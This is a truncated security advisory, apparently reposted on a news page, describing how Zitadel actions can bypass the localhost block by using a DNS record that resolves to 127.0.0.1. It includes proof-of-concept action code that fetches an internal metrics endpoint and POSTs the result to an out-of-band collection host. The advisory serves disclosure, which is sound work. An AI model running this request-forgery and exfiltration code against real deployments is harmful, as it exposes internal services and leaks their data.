Denied Host Validation Bypass in Zitadel Actions
Discription

Summary A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures. Details While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record. The relevant action code demonstrates the attempted request to 127.0.0.1: “` let http = require('zitadel/http') let logger = require("zitadel/log") function make_api_call(ctx, api) { var user = http.fetch('https://127.0.0.1:8080/debug/metrics'); var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ 'data': user, }), }); logger.log(api_r.body); } “` By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. The modified action code uses the custom domain instead of 127.0.0.1: “` let http = require('zitadel/http') let logger = require("zitadel/log") function make_api_call(ctx, api) { var user = http.fetch('https://ok.jelly244.messwithdns.com:8080/debug/metrics'); var api_r =…Read More

Back to Main

Subscribe for the latest news: